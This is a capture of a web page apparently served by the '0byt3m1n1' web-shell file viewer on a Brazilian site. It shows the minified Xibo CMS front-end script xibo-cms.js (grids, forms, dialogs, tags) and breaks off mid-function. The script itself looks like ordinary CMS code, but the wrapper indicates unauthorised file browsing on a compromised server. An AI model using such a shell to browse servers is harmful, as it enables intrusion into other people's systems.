0byt3m1n1
Path:
/
home
/
mgatv524
/
atvcms.com.br
/
maisqtv2
/
web
/
dist
/
core
/
[
Home
]
File: xibo-cms.js
var timelineForm,lastForm,gridTimeouts=[],buttonsTemplate,autoSubmitTemplate=null;function XiboInitialise(e){null!=e&&""!=e||(e=" "),$(e+" .XiboGrid").each((function(){var e=$(this).data().gridName,t=$(this).find(".XiboFilter form");if(null!=e){var a;try{null==(a=JSON.parse(localStorage.getItem(e)))&&(localStorage.setItem(e,JSON.stringify(t.serializeArray())),a=JSON.parse(localStorage.getItem(e)))}catch(e){a=[]}const o=new URL(window.location.href);var n=new URLSearchParams(o.search.slice(1));$.each(a,(function(e,a){var o=a.name.replace(/\[\]/,"\\\\[\\\\]");try{var r=t.find("input[name="+o+"], select[name="+o+"]");null!==n.get(o)?r.val(n.get(o)):r.length>0&&r.val(a.value)}catch(e){console.log("Error populating form saved value with selector input[name="+a.name+"], select[name="+a.name+"]")}}))}var o=_.debounce((function(){null!=e&&localStorage.setItem(e,JSON.stringify(t.serializeArray())),$(this).closest(".XiboGrid").find("table[role='grid']").DataTable().ajax.reload()}),500);$(this).find(".XiboFilter form").on("keydown",(function(e){if(13==e.keyCode)return e.preventDefault(),!1})),$(this).find(".XiboFilter form input").on("keyup",o),$(this).find(".XiboFilter form input, .XiboFilter form select").on("change",o),initJsTreeAjax($(this).find("#container-folder-tree"),"grid-folder-tree-state",!1)})),$(e+" .XiboFormButton").click((function(){var e=$(this).data("eventStart"),t=$(this).data("eventEnd");if(void 0!==e&&void 0!==t){var a={eventStart:e,eventEnd:t};XiboFormRender($(this),a)}else XiboFormRender($(this));return!1})),$(e+" .XiboCustomFormButton").click((function(){return XiboCustomFormRender($(this)),!1})),$(e+" .XiboRedirectButton").click((function(){window.location=$(this).attr("href")})),$(e+" .XiboHoverButton").hover((function(e){return XiboHoverRender($(this).attr("href"),e.pageX,e.pageY),!1}),(function(){return!1})),$(e+" .XiboForm").validate({submitHandler:XiboFormSubmit,errorElement:"span",highlight:function(e){$(e).closest(".form-group").removeClass("has-success").addClass("has-error")},success:function(e){$(e).closest(".form-group").removeClass("has-error").addClass("has-success")},invalidHandler:function(e,t){$(this).closest(".modal-dialog").find(".saving").remove(),$(this).closest(".modal-dialog").find(".save-button").removeClass("disabled")}}),$(e+" .XiboAjaxSubmit").click((function(){return $.ajax({type:"post",url:$(this).attr("href"),cache:!1,dataType:"json",success:XiboSubmitResponse}),!1})),$(e+" .XiboAutoForm").submit((function(){return XiboFormSubmit(this),!1})),$(e+" .XiboTextForm").validate({submitHandler:XiboFormSubmit,errorElement:"span",highlight:function(e){$(e).closest(".form-group").removeClass("has-success").addClass("has-error")},success:function(e){$(e).closest(".form-group").removeClass("has-error").addClass("has-success")}}),$(e+" .XiboHelpButton").click((function(){var e=$(this).attr("href");return window.open(e),!1})),$(e+" .dropdown-menu").on("click",(function(e){$(this).hasClass("dropdown-menu-form")&&e.stopPropagation()})),$(e+" .datePicker:not(.datePickerHelper)").each((function(){"Jalali"==calendarType?initDatePicker($(this),systemDateFormat,jsDateOnlyFormat,{altFieldFormatter:function(e){var t=moment.unix(e/1e3);return t.set("hour",0),t.set("minute",0),t.set("second",0),t.format(systemDateFormat)}}):initDatePicker($(this),systemDateFormat,jsDateOnlyFormat)})),$(e+" .dateTimePicker:not(.datePickerHelper)").each((function(){var e=dateFormat.includes("s");"Jalali"==calendarType?initDatePicker($(this),systemDateFormat,jsDateFormat,{timePicker:{enabled:!0,second:{enabled:e}}}):initDatePicker($(this),systemDateFormat,jsDateFormat,{enableTime:!0,time_24hr:!0,enableSeconds:e,altFormat:jsDateFormat})})),$(e+" .dateMonthPicker:not(.datePickerHelper)").each((function(){"Jalali"==calendarType?($(this).data().linkFormat,initDatePicker($(this),systemDateFormat,jsDateFormat,{format:"MMMM YYYY",viewMode:"month",dayPicker:{enabled:!1},altFieldFormatter:function(e){var t=moment.unix(e/1e3);return t.set("date",1),t.set("hour",0),t.set("minute",0),t.set("second",0),t.format(systemDateFormat)}})):initDatePicker($(this),systemDateFormat,jsDateFormat,{plugins:[new flatpickrMonthSelectPlugin({shorthand:!1,dateFormat:systemDateFormat,altFormat:"MMMM Y",parseDate:function(e,t){return moment(e,t,!0).toDate()},formatDate:function(e,t,a){return moment(e).format(t)}})]})})),$(e+" .timePicker:not(.datePickerHelper)").each((function(){var e=dateFormat.includes("s");"Jalali"==calendarType?initDatePicker($(this),systemTimeFormat,jsTimeFormat,{onlyTimePicker:!0,format:jsTimeFormat,timePicker:{second:{enabled:e}},altFieldFormatter:function(e){var t=moment.unix(e/1e3);return t.set("second",0),t.format(systemTimeFormat)}}):initDatePicker($(this),systemTimeFormat,jsTimeFormat,{enableTime:!0,noCalendar:!0,enableSeconds:e,time_24hr:!0,altFormat:jsTimeFormat})})),$(e+" .selectPicker select.form-control").select2({dropdownParent:$(e).hasClass("modal")?$(e):$("body"),templateResult:function(e){if(!e.id)return e.text;var t=$(e.element);return void 0!==t.data().content?$(t.data().content):e.text}}),$(e+" .pagedSelect select.form-control").each((function(){var e=$(this).data("anchorElement");makePagedSelect($(this),void 0!==e&&""!==e?$(e):$("body"))})),$(e+" .localSelect select.form-control").each((function(){makeLocalSelect($(this),$(e).hasClass("modal")?$(e):$("body"))})),$(e+" span.notification-date").each((function(){$(this).html(moment($(this).html(),"X").fromNow())})),$(e+" input.bootstrap-switch-target").each((function(){$(this).bootstrapSwitch()})),$(e+" input[data-role=tagsInputInline], "+e+" input[data-role=tagsInputForm], "+e+" select[multiple][data-role=tagsInputForm]").each((function(){var e=this,t=$(e).data("autoCompleteUrl");if(null!=t&&""!=t){var a=new Bloodhound({datumTokenizer:Bloodhound.tokenizers.whitespace,queryTokenizer:Bloodhound.tokenizers.whitespace,initialize:!1,remote:{url:t,prepare:function(e,t){return t.data={tag:e},t},filter:function(e){return $.map(e.data,(function(e){return{tag:e.tag}}))}},sorter:function(e,t){var a=e.tag.toUpperCase(),n=t.tag.toUpperCase();return a<n?-1:a>n?1:0}});a.initialize().done((function(){$(e).tagsinput({typeaheadjs:{name:"tags",displayKey:"tag",valueKey:"tag",source:a.ttAdapter()}})})).fail((function(){console.info("Auto-complete for tag failed! Using default..."),$(e).tagsinput()}))}else $(e).tagsinput()})),$(e+" .tags-with-value").each((function(){tagsWithValues($(this).closest("form").attr("id"))})),$(e+" .XiboCommand").each((function(){var e=$(this),t=e.find("input");t.hide();var a={freetext:translations.freeTextCommand,tpv_led:"Philips Android",rs232:"RS232",intent:"Android Intent"},n=function(a){var n=t.val(),i=o(t.val()),s=e.find(".command-inputs"),l=Handlebars.compile($("#command-input-"+a+"-template").html());if(s.html(l({value:i.value,initVal:n,unique:(new Date).valueOf()})),"intent"==a){var d=Handlebars.compile($("#command-input-intent-extra-template").html());null!=i.value.extras&&i.value.extras.forEach((function(e){s.find(".intent-extra-container").append(d(e))})),s.on("click",".intent-add-extra",(function(){s.find(".intent-extra-container").append(d({})),r(a)})),s.on("click",".intent-remove-extra",(function(){$(this).parents(".intent-extra-element").remove(),r(a)}))}s.change("input, select",(function(){r(a)})),r(a)},o=function(e){var t={};if(""==e||null==e)t.type="freetext",t.value="";else{var a=e.split("|");if(1==a.length)t.type="freetext",t.value=e;else switch(t.type=a[0],t.type){case"intent":t.value={type:a[1],name:a[2],extras:a.length>3?JSON.parse(a[3]):[]};break;case"rs232":var n=a[1].split(","),o={deviceName:n[0],baudRate:n[1],dataBits:n[2],parity:n[3],stopBits:n[4],handshake:n[5],hexSupport:n[6]};t.value={cs:o,command:a[2]};break;case"tpv_led":t.type="tpv_led",t.value=a[1];break;default:t.type="freetext",t.value=e}}return t},r=function(a){var n="",o=!1,r=e.find(".command-inputs");switch(r.removeClass("invalid"),a){case"tpv_led":n="tpv_led|"+r.find(".tpv-led-command").val();break;case"rs232":var i=r.find(".rs232-device-name").val(),s=r.find(".rs232-baud-rate").val(),l=r.find(".rs232-data-bits").val(),d=r.find(".rs232-parity").val(),c=r.find(".rs232-stop-bits").val(),u=r.find(".rs232-handshake").val(),m=r.find(".rs232-hex-support").val(),f=r.find(".rs232-command").val();[i,s,l].includes("")&&(r.addClass("invalid"),o=!0),n="rs232|",n+=""!=i?i+",":"",n+=""!=s?s+",":"",n+=""!=l?l+",":"",n+=""!=d?d+",":"",n+=""!=c?c+",":"",n+=""!=u?u+",":"",n+=m,n+="|"+f;break;case"intent":n="intent|"+r.find(".intent-type").val()+"|"+r.find(".intent-name").val(),""==r.find(".intent-name").val()&&(r.addClass("invalid"),o=!0);var p=[];r.find(".intent-extra-element").each((function(){var e=$(this);e.removeClass("invalid");var t=e.find(".extra-name").val(),a=e.find(".extra-type").val(),n=e.find(".extra-value").val();if("intArray"==a){n=n.replace(" ","").split(",").map((function(e){return""!=e?Number(e):""}));for(var r=0;r<n.length;r++){var i=n[r];if(isNaN(i)||""==i){n="";break}}}else"int"==a&&""!=n?n=isNaN(Number(n))?"":Number(n):"bool"==a&&""!=n&&(n="true"==n);[t,a,n].includes("")?(o=!0,e.addClass("invalid")):p.push({name:t,type:a,value:n})})),p.length>0&&(n+="|"+JSON.stringify(p));break;default:n=r.find(".free-text").val()}o?(t.val(""),e.find(".command-preview").html(e.find(".command-preview").data("invalidMessage")).addClass("invalid")):(t.val(n),e.find(".command-preview").html(n).removeClass("invalid"))},i=o(t.val()).type,s=Handlebars.compile($("#command-input-main-template").html());t.before(s({types:a,type:i,unique:(new Date).valueOf()})),n(i),$(this).find(".command-type").change((function(){n($(this).val())})),$(this).find(".show-command-preview").change((function(){e.find(".command-preview").toggle($(this).is(":checked"))})),t.attr("readonly","readonly")})),$(e+" .XiboColorPicker").each((function(){createColorPicker(this)}))}function dataTableProcessing(e,t,a){a?$(e.target).closest(".widget").children(".widget-title").append('<span class="saving fa fa-cog fa-spin p-1"></span>'):$(e.target).closest(".widget").closest(".widget").find(".saving").remove()}function dataTableDraw(e,t){var a=$("#"+e.target.id),n=a.find("div.dropdown-menu a.multi-select-button"),o=a.closest(".XiboGrid").find(".FilterDiv #tags"),r=a.closest(".XiboGrid").find(".folder-controller");if(n.length>0||o.length>0){a.find("tbody").off("click","tr").on("click","tr",(function(){$(this).toggleClass("selected"),a.data().initialised=!0}));var i=Handlebars.compile($("#multiselect-button-template").html()),s=[];$(n).each((function(){(function(e,t,a){for(var n in e)if(e[n].id==a)return!0;return!1})(s,0,$(this).data("id"))||s.push({id:$(this).data("id"),gridId:e.target.id,text:$(this).data("text"),customHandler:$(this).data("customHandler"),customHandlerUrl:$(this).data("customHandlerUrl"),contentIdName:$(this).data("contentIdName"),sortGroup:null!=$(this).data("sortGroup")?$(this).data("sortGroup"):0})})),o.length>0&&1==userRoutePermissions.tags&&s.push({id:o.attr("id"),gridId:e.target.id,text:translations.editTags,contentType:a.data("contentType"),contentIdName:a.data("contentIdName"),customHandler:"XiboMultiSelectTagFormRender",sortGroup:0});var l=0;if((s=s.sort((function(e,t){return e.sortGroup>t.sortGroup?1:-1}))).length>1)for(var d=0;d<s.length;d++){var c=s[d];c.sortGroup>l&&d>0&&(s.splice(d,0,{divider:!0}),l=c.sortGroup)}var u=i({selectAll:translations.selectAll,withSelected:translations.withselected,buttons:s});a.closest(".dataTables_wrapper").find(".dataTables_info").prepend(u),a.closest(".dataTables_wrapper").find(".dataTables_info a.XiboMultiSelectFormButton").click((function(){null!=$(this).data("customHandler")&&"function"==typeof window[$(this).data("customHandler")]?window[$(this).data("customHandler")](this):XiboMultiSelectFormRender(this)})),a.closest(".dataTables_wrapper").find(".dataTables_info a.XiboMultiSelectFormCustomButton").click((function(){window[$(this).data("customHandler")](this)})),a.closest(".dataTables_wrapper").find(".dataTables_info button.select-all").click((function(){var e=a.find("tbody tr");a.find("tbody tr.selected").length>e.length/2?e.removeClass("selected"):e.addClass("selected")}))}r.length>0&&0==a.closest(".dataTables_wrapper").find(".dataTables_folder .folder-controller").length&&(r.appendTo(".dataTables_folder"),r.removeClass("d-none").addClass("d-inline-flex")),XiboInitialise("#"+e.target.id)}function dataTableButtonsColumn(e,t,a,n){return"display"!=t?"":(null==buttonsTemplate&&(buttonsTemplate=Handlebars.compile($("#buttons-template").html())),buttonsTemplate({buttons:e.buttons}))}function dataTableTickCrossColumn(e,t,a){return"display"!=t?e:"<span class='fa "+(1==e?"fa-check":0==e?"fa-times":"fa-exclamation")+"'></span>"}function dataTableTickCrossInverseColumn(e,t,a){return"display"!=t?e:"<span class='fa "+(1==e?"fa-times":0==e?"fa-check":"fa-exclamation")+"'></span>"}function dataTableDateFromIso(e,t,a){return"display"!==t&&"export"!==t?e:null==e?"":moment(e,systemDateFormat).format(jsDateFormat)}function dataTableDateFromUnix(e,t,a){return"display"!==t&&"export"!==t?e:null==e||0==e?"":moment(e,"X").tz?moment(e,"X").tz(timezone).format(jsDateFormat):moment(e,"X").format(jsDateFormat)}function dataTableTimeFromSeconds(e,t,a){if("display"!==t&&"export"!==t)return e;if(null==e||0==e)return"";var n=moment.duration(1e3*e),o=Math.floor(n.asHours());return(o<10?"0"+o:o)+moment.utc(n.asMilliseconds()).format(":mm:ss")}function dataTableSpacingPreformatted(e,t,a){return"display"!==t?e:null===e||""===e?"":'<span class="spacing-whitespace-pre">'+e+"</span>"}function dataTableCreateTags(e,t){if("display"!==t)return e.tags;var a="";if(null!=typeof e.tags&&null!=e.tags){var n=[],o=e.tags.split(",");null!=typeof e.tagValues&&null!=e.tagValues&&(n=e.tagValues.split(",")),a+='<div id="tagDiv">';for(var r=0;r<o.length;r++)""==o[r]||null!=n[r]&&"NULL"!==n[r]?""==o[r]||""==n[r]&&"NULL"===n[r]||(a+='<li class="btn btn-sm btn-white btn-tag">'+o[r]+"|"+n[r]+"</span></li>"):a+='<li class="btn btn-sm btn-white btn-tag">'+o[r]+"</span></li>";a+="</div>"}return a}function dataTableCreatePermissions(e,t){if("display"!==t)return e;var a="";if(null!=typeof e&&null!=e){var n=e.split(",");a+='<div class="permissionsDiv">';for(var o=0;o<n.length;o++)""!=n[o]&&(a+='<li class="badge">'+n[o]+"</span></li>");a+="</div>"}return a}function dataTableCreateTagEvents(e,t){var a=$("#"+e.target.id),n=e.target.id,o=e.data.form;a.off("click"),a.on("click",".btn-tag",(function(e){var t=$(this).text();o.find("#tags").val(),"playlistLibraryMedia"==n?(o.find("#filterMediaTag").val(),o.find("#filterMediaTag").tagsinput("add",t,{allowDuplicates:!1})):"displayGroupDisplays"==n?(o.find("#dynamicCriteriaTags").val(),o.find("#dynamicCriteriaTags").tagsinput("add",t,{allowDuplicates:!1})):o.find("#tags").tagsinput("add",t,{allowDuplicates:!1}),a.DataTable().ajax.reload()}))}function dataTableConfigureRefresh(e,t,a){for(var n=a>10?a:10,o=gridTimeouts.length-1;o>=0;o--)gridTimeouts[o].label===e&&(clearTimeout(gridTimeouts[o].timer),gridTimeouts.splice(o,1));gridTimeouts.push({label:e,timer:setTimeout((function(){t.reload()}),1e3*n)})}function dataTableAddButtons(e,t,a){(a=void 0===a||a)?new $.fn.dataTable.Buttons(e,{buttons:[{extend:"colvis",columns:":not(.rowMenu)",text:function(e,t,a){return e.i18n("buttons.colvis")}},{extend:"print",text:function(e,t,a){return e.i18n("buttons.print")},exportOptions:{orthogonal:"export",format:{body:function(e,t,a,n){return null===e||""===e||"null"===e?"":e}}}},{extend:"csv",exportOptions:{orthogonal:"export",format:{body:function(e,t,a,n){return null===e||""===e?"":e}}}}]}):new $.fn.dataTable.Buttons(e,{buttons:[{extend:"colvis",text:function(e,t,a){return e.i18n("buttons.colvis")}}]}),e.buttons(0,null).container().prependTo(t),$(t).addClass("text-right"),$(".ColVis_MasterButton").addClass("btn"),$(t).find(".dt-buttons button.btn-secondary").addClass("btn-outline-primary").removeClass("btn-secondary")}function dataTableStateLoadCallback(e,t){var a=$("#"+e.sTableId).data().statePreferenceName,n=void 0!==a?a:e.sTableId+"Grid",o={};return $.ajax({type:"GET",async:!1,url:userPreferencesUrl+"?preference="+n,dataType:"json",success:function(e){try{e.success&&(o=JSON.parse(e.data.value))}catch(e){}}}),o}function dataTableStateSaveCallback(e,t){var a=$("#"+e.sTableId).data().statePreferenceName;updateUserPref([{option:void 0!==a?a:e.sTableId+"Grid",value:JSON.stringify(t)}],(function(){}))}function XiboFormRender(sourceObj,data){var formUrl="";return"string"==typeof sourceObj||sourceObj instanceof String?formUrl=sourceObj:(formUrl=sourceObj.attr("href"),sourceObj.removeAttr("href")),null==formUrl||(bootbox.hideAll(),(formUrl.indexOf("region/form/timeline")>-1||formUrl.indexOf("playlist/form/timeline")>-1)&&(timelineForm={url:formUrl,data}),lastForm=formUrl,$.ajax({type:"get",url:formUrl,cache:!1,dataType:"json",data,success:function(response){if(("object"==typeof sourceObj||sourceObj instanceof Object)&&sourceObj.attr("href",lastForm),response.success){if(!("string"==typeof sourceObj||sourceObj instanceof String)){var commitUrl=sourceObj.data().commitUrl;if(response.autoSubmit&&void 0!==commitUrl)return $.ajax({type:sourceObj.data().commitMethod||"POST",url:commitUrl,cache:!1,dataType:"json",success:function(e){e.success?(""!==e.message&&SystemMessage(e.message,!0),XiboRefreshAllGrids()):e.login?LoginBox(e.message):SystemMessageInline(e.message)},error:function(e){SystemMessageInline(e.responseText)}}),!1}var dialogTitle="";null!=response.dialogTitle&&""!=response.dialogTitle&&(dialogTitle=response.dialogTitle);var id=(new Date).getTime(),dialog=bootbox.dialog({message:response.html,title:dialogTitle,animate:!1,size:"large"}).attr("id",id);if(dialog.data("extra",response.extra),""!==response.buttons){var footer=$("<div>").addClass("modal-footer");dialog.find(".modal-content").append(footer);var i=0,count=Object.keys(response.buttons).length;$.each(response.buttons,(function(index,value){i++;var extrabutton=$('<button id="dialog_btn_'+i+'" class="btn">').html(index);i===count?extrabutton.addClass("btn-primary save-button"):extrabutton.addClass("btn-white"),extrabutton.click((function(e){e.preventDefault();var $button=$(this);if($button.hasClass("save-button")){if($button.hasClass("disabled"))return!1;$button.append(' <span class="saving fa fa-cog fa-spin"></span>'),$button.addClass("disabled")}return value.indexOf("DialogClose")>-1&&(lastForm.indexOf("playlist/widget/form")>-1||lastForm.indexOf("playlist/form/library/assign")>-1)&&null!=timelineForm?XiboFormRender(timelineForm.url,timelineForm.value):eval(value),!1})),footer.append(extrabutton)})),"string"==typeof sourceObj||sourceObj instanceof String||sourceObj.data().autoSubmit&&(null===autoSubmitTemplate&&(autoSubmitTemplate=Handlebars.compile($("#auto-submit-field-template").html())),footer.prepend(autoSubmitTemplate()))}$("input[type=text]",dialog).not(".dateControl").eq(0).focus(),$("input[type=text]",dialog).each((function(e,t){formRenderDetectSpacingIssues(t),$(t).on("keyup",_.debounce((function(){formRenderDetectSpacingIssues(t)}),500))})),""!=response.fieldActions&&$.each(response.fieldActions,(function(e,t){if("init"==t.trigger){var a=$("#"+t.field).val();("not"==t.operation?a!=t.value:"is:checked"==t.operation?t.value==$("#"+t.field).is(":checked"):a==t.value)&&$.each(t.actions,(function(e,t){var a=$(e);a.data("initActioned")||a.css(t).data("initActioned",!0)}))}else $("#"+t.field).on(t.trigger,(function(){var e=$(this).val();("not"==t.operation?e!=t.value:"is:checked"==t.operation?t.value==$("#"+t.field).is(":checked"):e==t.value)&&$.each(t.actions,(function(e,t){$(e).css(t)}))}))})),$('a[data-toggle="tab"]',dialog).on("shown.bs.tab",(function(e){1===$(e.target).data().enlarge?$(e.target).closest(".modal").addClass("modal-big"):$(e.target).closest(".modal").removeClass("modal-big")})),$('a[data-toggle="tab"]',dialog).each((function(){1===$(this).data().enlarge&&$(this).closest("li").hasClass("active")&&$(this).closest(".modal").addClass("modal-big")})),0!=$("#folder-tree-form-modal").length&&$("#folder-tree-form-modal").remove(),XiboInitialise("#"+dialog.attr("id")),null!=dialog.find(".XiboForm").attr("id")&&(void 0!==$("#container-folder-tree").jstree("get_selected",!0)[0]&&""==$("#"+dialog.find(".XiboForm").attr("id")+" #folderId").val()&&$("#"+dialog.find(".XiboForm").attr("id")+" #folderId").val($("#container-folder-tree").jstree("get_selected",!0)[0].id),initJsTreeAjax("#container-folder-form-tree",dialog.find(".XiboForm").attr("id"),!0,600)),""!==response.callBack&&void 0!==response.callBack&&eval(response.callBack)(dialog)}else{if(response.login)return LoginBox(response.message),!1;null==response.message?SystemMessage(response):SystemMessage(response.message)}return!1},error:function(e){SystemMessage(e.responseText)}})),!1}function XiboCustomFormRender(e){var t;return t=e.attr("href"),e.removeAttr("href"),null==t||(lastForm=t,$.ajax({type:"get",url:t,cache:!1,dataType:"json",success:function(t){if(("object"==typeof e||e instanceof Object)&&e.attr("href",lastForm),t.success){var a={id:(new Date).getTime(),buttons:t.buttons,data:t.data,title:t.dialogTitle,message:t.html,extra:t.extra};""!==t.callBack&&void 0!==t.callBack&&window[t.callBack](a)}else{if(t.login)return LoginBox(t.message),!1;null==t.message?SystemMessage(t):SystemMessage(t.message)}return!1},error:function(e){SystemMessage(e.responseText)}})),!1}function XiboRemoteRequest(e,t,a){$.ajax({type:"post",url:e,cache:!1,dataType:"json",data:t,success:a,error:function(e){SystemMessage(e.responseText)}})}function formRenderDetectSpacingIssues(e){var t=$(e),a=t.val();if(""!==a&&(a.startsWith(" ")||a.endsWith(" ")||a.indexOf(" ")>-1)){console.log("Field with strange spacing: "+t.attr("name"));var n=$("<span></span>").addClass("fa fa-exclamation-circle spacing-warning-icon").attr("title",translations.spacesWarning);t.parent().append(n)}else t.parent().find(".spacing-warning-icon").remove()}function XiboMultiSelectFormRender(button){var buttonId=$(button).data().buttonId,matches=[],formOpenCallback=null,message;$("."+buttonId).each((function(){$(this).closest("tr").hasClass("selected")&&(matches.push($(this)),1===matches.length&&(formOpenCallback=$(this).data().formCallback,formConfirm=$(this).data().formConfirm))})),message=matches.length>0?translations.multiselectMessage.replace("%1",""+matches.length).replace("%2",$(button).html()):translations.multiselectNoItemsMessage;var dialog=bootbox.dialog({message,title:translations.multiselect,animate:!1,size:"large"}),dialogContent=dialog.find(".modal-body"),footer=$("<div>").addClass("modal-footer"),extrabutton;dialog.find(".modal-content").append(footer),null!=formOpenCallback&&eval(formOpenCallback)(dialog),matches.length>0&&(extrabutton=$('<button class="btn">').html(translations.save).addClass("btn-primary save-button"),formConfirm&&extrabutton.prop("disabled",!0),extrabutton.click((function(){return $(this).append(' <span class="saving fa fa-cog fa-spin"></span>'),window.queue=$.jqmq({delay:-1,batch:1,callback:function(e){var t=$(e).data();void 0!==dialog.data().commitData&&(t=$.extend({},t,dialog.data().commitData)),$.ajax({type:t.commitMethod,url:t.commitUrl,cache:!1,dataType:"json",data:t,success:function(e,a,n){e.success?(dialogContent.append($("<div>").html(t.rowtitle+": "+translations.success)),queue.next()):e.login?LoginBox(e.message):(dialogContent.append($("<div>").html(t.rowtitle+": "+translations.failure)),footer.find(".saving").remove(),SystemMessageInline(e.message,footer.closest(".modal")))},error:function(e){SystemMessage(e,!1)}})},complete:function(){footer.find(".saving").parent().remove(),XiboRefreshAllGrids()}}),$(matches).each((function(){queue.add(this)})),queue.start(),!1})),footer.append(extrabutton)),extrabutton=$('<button class="btn">').html(translations.close).addClass("btn-white"),extrabutton.click((function(){return $(this).append(' <span class="saving fa fa-cog fa-spin"></span>'),dialog.modal("hide"),$(".modal").hasClass("in")&&$("body").addClass("modal-open"),!1})),footer.append(extrabutton)}function XiboMultiSelectPermissionsFormOpen(e){var t=$(e).parents(".XiboGrid").find(".dataTable"),a=t.find("tr.selected"),n=t.DataTable(),o=$(e).data("customHandlerUrl"),r=$(e).data("contentIdName"),i=[];a.each((function(e,t){var a=n.row(t).data();i.push(a[r])})),0==a.length?bootbox.dialog({message:translations.multiselectNoItemsMessage,title:translations.multiselect,animate:!1,size:"large",buttons:{cancel:{label:translations.close,className:"btn-white btn-bb-cancel"}}}):XiboFormRender(o,{ids:i.toString()})}function XiboMultiSelectTagFormRender(e){var t=$(e).data("contentType"),a=$(e).data("contentIdName"),n=[],o=$(e).parents(".XiboGrid").find(".dataTable"),r=o.DataTable(),i="",s="multiselectTagEditForm",l=[],d=[];o.find("tr.selected").each((function(){n.push($(this))})),0==n.length?i=translations.multiselectNoItemsMessage:(n.forEach((function(e){var t=r.row(e).data();l.push(t[a]);var n=[];if(null!=typeof t.tagValues&&null!=t.tagValues&&(n=t.tagValues.split(",")),-1===["",null].indexOf(t.tags)){var o=t.tags.split(",");o.forEach((function(e,t){-1!==d.indexOf(e)||null!=n[t]&&"NULL"!=n[t]?-1!==d.indexOf(e)||""==n[t]&&"NULL"==n[t]||d.push(o[t]+"|"+n[t]):d.push(e)}))}})),i=Handlebars.compile($("#multiselect-tag-edit-form-template").html()));var c,u=bootbox.dialog({message:i,title:translations.multiselect,size:"large",animate:!1}),m=u.find(".modal-body"),f=$("<div>").addClass("modal-footer");if(u.find(".modal-content").append(f),u.attr("id",s),n.length>0){if((c=$('<button class="btn">').html(translations.save).addClass("btn-primary save-button")).click((function(){var e,a=m.find("#tagsToRemove").val().split(","),n=m.find("#requestURL").val(),o={targetIds:l.toString(),targetType:t,addTags:m.find("#tagsToAdd").val(),removeTags:(e=[],d.forEach((function(t){-1==a.indexOf(t)&&e.push(t)})),e).toString()};return $(this).append('<span class="saving fa fa-cog fa-spin"></span>'),$.ajax({type:"PUT",url:n,cache:!1,dataType:"json",data:o,success:function(e,t,a){e.success?(toastr.success(e.message),u.modal("hide"),r.ajax.reload(null,!1)):(e.login?LoginBox(e.message):(f.find(".saving").remove(),SystemMessageInline(e.message,f.closest(".modal"))),$(this).find(".saving").remove())},error:function(e){SystemMessage(e,!1),$(this).find(".saving").remove()}}),!1})),f.append(c),d.length>0){var p=d.toString();m.find("#tagsToRemove").val(p)}else m.find("#tagsToRemoveContainer").hide();m.find("#requestURL").val(m.find("#requestURL").val().replace("[type]",t)),m.find("#tagsToRemove").on("beforeItemAdd",(function(e){e.cancel=-1==d.indexOf(e.item)}))}(c=$('<button class="btn">').html(translations.close).addClass("btn-white")).click((function(){return $(this).append(' <span class="saving fa fa-cog fa-spin"></span>'),u.modal("hide"),$(".modal").hasClass("in")&&$("body").addClass("modal-open"),!1})),f.append(c),XiboInitialise("#"+s)}function XiboHelpRender(e){window.open(e)}function XiboPing(e,t){$.ajax({type:"get",url:e,cache:!1,dataType:"json",success:function(e){if(e.success)null!=t&&$(t).html(e.html),e.clockUpdate&&XiboClockUpdate(e.html);else if(e.login)return LoginBox(e.message),!1;return!1}})}function XiboClockUpdate(e){$("#XiboClock").html(e)}function XiboFormSubmit(e,t,a){var n=$(e),o=n.attr("action");for(var r in CKEDITOR.instances){var i=new RegExp(CKEDITOR_DEFAULT_CONFIG.imageDownloadUrl.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&").replace(":id","([0-9]+)"),"g"),s=CKEDITOR.instances[r].getData().replace(i,(function(e,t){return"["+t+"]"}));$("#"+r).val(s)}return $.ajax({type:n.attr("method"),url:o,cache:!1,dataType:"json",data:n.serialize(),success:function(t,n,o){XiboSubmitResponse(t,e),null!=a&&null!=a&&a(t,e)},error:function(e,t,a){SystemMessage(e.responseText,!1)}}),n.closest(".modal-dialog").find("input[name=autoSubmit]").is(":checked")&&updateUserPref([{option:"autoSubmit."+n.attr("id"),value:!0}]),!1}function XiboSubmitResponse(response,form){$(form).closest(".modal-dialog").find(".saving").remove();var apply=$(form).data("apply");if($(form).data("apply",!1),response.success){if(""!=response.message&&SystemMessage(response.message,!0),null!=apply&&apply?($(form).data("applyCallback")&&eval($(form).data("applyCallback"))(form),$(form).closest(".modal-dialog").find(".form-error").remove(),$("input[type=text]",form).eq(0).focus()):bootbox.hideAll(),XiboRefreshAllGrids(),!apply)if(void 0!==$(form).data("nextFormUrl")){var responseId=void 0===$(form).data("nextFormIdProperty")?response.id:response.data[$(form).data("nextFormIdProperty")];XiboFormRender($(form).data().nextFormUrl.replace(":id",responseId))}else null!=lastForm&&(lastForm.indexOf("playlist/widget/form")>-1||lastForm.indexOf("playlist/form/library/assign")>-1)&&null!=timelineForm&&XiboFormRender(timelineForm.url,timelineForm.value)}else response.login?LoginBox(response.message):SystemMessageInline(response.message,$(form).closest(".modal"));return!1}function XiboHoverRender(url,x,y){return $.ajax({type:"get",url,cache:!1,dataType:"json",success:function(response){if(response.success){var dialogWidth="500",dialogHeight="500";response.dialogSize&&(dialogWidth=response.dialogWidth,dialogHeight=response.dialogHeight),$("body").append('<div class="XiboHover"></div>'),$(".XiboHover").css("position","absolute").css({display:"none",width:dialogWidth,height:dialogHeight,top:y,left:x}).fadeIn("slow").hover((function(){return!1}),(function(){return $(".XiboHover").hide().remove(),!1})),$(".XiboHover").html(response.html),""!=response.callBack&&null!=response.callBack&&eval(response.callBack)(name),XiboInitialise(".XiboHover")}else{if(response.login)return LoginBox(response.message),!1;null==response.message?SystemMessage(response):SystemMessage(response.message)}return!1}}),!1}function XiboDialogClose(){bootbox.hideAll()}function XiboDialogApply(e){var t=$(e);t.data("apply",!0),t.submit()}function XiboSwapDialog(e,t){bootbox.hideAll(),XiboFormRender(e,t)}function XiboRefreshAllGrids(){$(" .XiboGrid table.dataTable").each((function(){$(this).DataTable().ajax.reload(null,!1)}))}function XiboRedirect(e){window.location.href=e}function LoginBox(e){window.location.href=window.location.href,location.reload(!1)}function updateUserPref(e,t){null==t&&(t=function(e){return e.success?SystemMessage(e.message,!0):e.login?LoginBox(e.message):SystemMessage(e.message,e.success),!1}),$.ajax({type:"post",url:userPreferencesUrl,cache:!1,dataType:"json",data:{preference:e},success:t})}function SystemMessage(e,t){if(""!=e&&null!=e)if(t)toastr.success(e);else var a=bootbox.dialog({message:e,title:"Application 